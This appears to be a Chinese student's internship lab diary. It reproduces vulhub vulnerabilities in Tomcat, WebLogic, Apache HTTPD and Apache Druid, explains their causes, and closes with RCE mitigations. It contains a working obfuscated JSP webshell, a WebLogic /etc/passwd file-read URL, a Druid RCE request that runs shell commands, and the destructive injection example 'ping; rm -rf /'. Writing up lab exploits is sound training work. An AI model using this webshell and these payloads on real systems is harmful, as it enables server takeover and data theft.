实习Day8

目录

一、在vps安装docker和docker-compose

二、vulhub中的漏洞复现及漏洞成因

1.tomcat 弱口令/后台文件上传getshell

        弱口令复现 

         后台文件上传getshell复现

        弱口令漏洞成因

        后台文件上传getshell漏洞成因

2.weblogic 弱口令/任意文件读取

        弱口令复现

        任意文件读取复现

        漏洞成因

3.apache换行解析/drud RCE

       apache换行解析复现

        apache druid RCE复现

        漏洞成因

三、RCE漏洞的原理和利用条件及解决方案

1.RCE漏洞原理

2.RCE利用条件

3.RCE解决方案

---

一、在vps安装docker和docker-compose

二、vulhub中的漏洞复现及漏洞成因

1.tomcat 弱口令/后台文件上传getshell

        弱口令复现 

        登录存在弱口令。账号：tomcat；密码：tomcat

        登录成功

         后台文件上传getshell复现

        登录成功后，直接在后台上传war包从而直接getshell。

        shell.jsp

<%!
class U extends ClassLoader {
    U(ClassLoader c) { super(c); }

    public Class g(byte[] b) { return super.defineClass(b,0, b.length); }

    }

    public byte[] base64Decode(String str) throws Exception { try { Class
    clazz=Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer",
    String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class
    clazz=Class.forName("java.util.Base64"); Object decoder=clazz.getMethod("getDecoder").invoke(null); return (byte[])
    decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%><%

    String cls=request.getParameter("passwd");if(cls!=null)
    {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}%
>

        将shell.jsp打包为war包 

jar -cvf shell.war shell.jsp

        上传文件 

        访问上传的文件 

         使用蚁剑进行连接，连接成功

        弱口令漏洞成因

        Tomcat在安装后，其管理后台（如Manager App）通常会使用默认的用户名和密码（如tomcat:tomcat），如果管理员在安装后未修改这些默认密码，攻击者就可以利用这些默认凭证轻松登录到管理后台。

        后台文件上传getshell漏洞成因

        Tomcat的管理后台通常具有文件上传功能，用于部署新的Web应用程序。如果管理后台的权限配置不当，允许未授权用户上传文件，或者对上传的文件类型、大小等没有严格的限制，就可能被攻击者利用来上传恶意文件

2.weblogic 弱口令/任意文件读取

        弱口令复现

        存在弱口令weblogic/Oracle@123

        登录成功 

        任意文件读取复现

        http://120.55.88.196:7001/hello/file.jsp?path=/etc/passwd成功读取passwd文件。

        weblogic密码使用AES（老版本3DES）加密，对称加密可解密，只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下，名为SerializedSystemIni.dat和config.xml，在本环境中为./security/SerializedSystemIni.dat和./config/config.xml（基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain）。

SerializedSystemIni.dat

         最后的64个字节，就是正确的密钥，然后再邮件复制到文件保存

config.xml

        找到密钥，复制密钥

        打开weblogic_decrypt.jar解密工具，进行解密

         登录、部署、安装、上载文件、上传文件shell.war

        下一步，直到完成
        蚁剑连接

        漏洞成因

        弱口令：在Weblogic中间件搭建好之后，如果管理员没有修改后台的默认密码，或者使用过于简单的密码，就可能导致弱口令漏洞的存在。这些默认密码或简单密码容易被攻击者通过暴力破解或字典攻击等方式猜解出来，从而获得服务器的管理员权限。

        任意文件读取：在Weblogic的某些组件或功能中，如果对用户输入的内容没有进行充分的验证和过滤，就可能导致攻击者通过构造特殊的请求来读取服务器上的任意文件。这些文件可能包含敏感信息，如数据库密码、配置文件等，一旦被泄露，将对系统的安全性造成严重影响。

3.apache换行解析/drud RCE

       apache换行解析复现

        启动靶场

        浏览器访问IP:8080 

         编写php一句话木马

        BP拦截抓包，在文件名后添加一个\x0A 

 

         重新发送数据包，没有进行拦截

        刚才上传的evil.php%0a，发现能够成功解析 

 

        apache druid RCE复现

        启动容器

         浏览器访问IP:8888进入

        点击Load data —>Local disk，设置

 

        开启BP抓包，然后点击Apply，修改POST请求包

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

        得到响应，服务器执行id命令 

        漏洞成因

         apache换行解析：Apache HTTPD2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，xx.php\x0A将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。

        apache druid RCE:Druid是一个常用的数据库连接池组件，在某些版本中，由于未对外部输入进行充分验证和过滤，攻击者可以通过构造恶意请求，利用Druid的某些功能执行任意代码，从而控制服务器。

三、RCE漏洞的原理和利用条件及解决方案

        远程代码执行（Remote Code Execution, RCE）漏洞是一种严重的安全漏洞类型，它允许攻击者在受害者的远程系统上执行任意代码或命令。这意味着攻击者可以越过应用程序的正常边界，直接操控目标服务器或设备的核心功能，可能导致数据泄露、系统破坏、安装恶意软件，甚至完全控制目标系统。

1.RCE漏洞原理

        RCE漏洞的根本原因在于应用程序未能正确验证用户输入，或者在处理敏感操作时未能进行严格的权限控制。具体原理如下：

        不安全的数据处理：当Web应用或API接受用户输入并在后端处理时，如果未经充分过滤或转义就将其作为命令或脚本的一部分执行，攻击者就能通过精心构造的输入插入恶意代码。例如，假设一个网站有一个用于执行系统命令的功能，但没有对用户提供的参数进行检查。攻击者可能提交类似于 ping; rm -rf / 的命令，系统将会先执行正常的ping命令，随后删除所有文件，这就是典型的命令注入导致的RCE。

        不安全的API调用：应用程序在调用外部系统API或组件时，如果信任了不可信的数据，也可能触发RCE。例如，一些编程语言库在处理反序列化操作时，如果没有对反序列化的对象进行安全检查，攻击者就可以通过构造特殊的序列化数据来执行任意代码。

        未修补的漏洞利用：许多RCE漏洞源于第三方软件或系统组件中的已知漏洞。例如，早期的FastCGI PHP解析器存在漏洞，攻击者可以通过特制的HTTP请求，注入并执行PHP代码。

2.RCE利用条件

        存在可执行的代码或命令接口

        应用程序调用执行函数：应用程序中调用了能够执行系统命令或代码的函数，如PHP中的system()、exec()、eval()等，或者Python中的os.system()、subprocess.call()等。

        第三方组件漏洞：调用的第三方组件存在代码执行漏洞，如WordPress中的ImageMagick组件，或Java中的某些库（如Apache Commons Collections）在反序列化时可能执行恶意代码。

        用户输入可控且未严格过滤

        输入验证不足：应用程序未对用户输入进行严格的验证或过滤，使得攻击者能够注入恶意代码或命令。

        参数可控：攻击者能够控制传递给执行函数的参数，从而构造并执行恶意代码或命令。

        系统或应用配置不当

        安全配置缺失：系统或应用的安全配置不当，如未禁用危险的函数或方法，未设置适当的权限控制等。

        中间件或框架漏洞：使用的中间件或框架存在已知漏洞，且未及时更新或打补丁。

3.RCE解决方案

        严格输入验证：确保所有不受信任的输入都经过严格的过滤和校验，不允许包含可能构成命令或代码的特殊字符。
        最小权限原则：确保执行系统命令或API调用的应用程序进程拥有尽可能低的权限，以限制攻击者一旦成功利用RCE后的行动范围。
        代码审查与安全编码：开发团队应遵循安全编码规范，避免使用易导致RCE的危险函数，并定期进行代码审计。
        及时更新补丁：保持所有系统和第三方组件的最新状态，尽快修补已知的安全漏洞。
        沙箱技术：在可能的情况下，采用沙箱或者其他形式的隔离技术，限制代码执行的环境。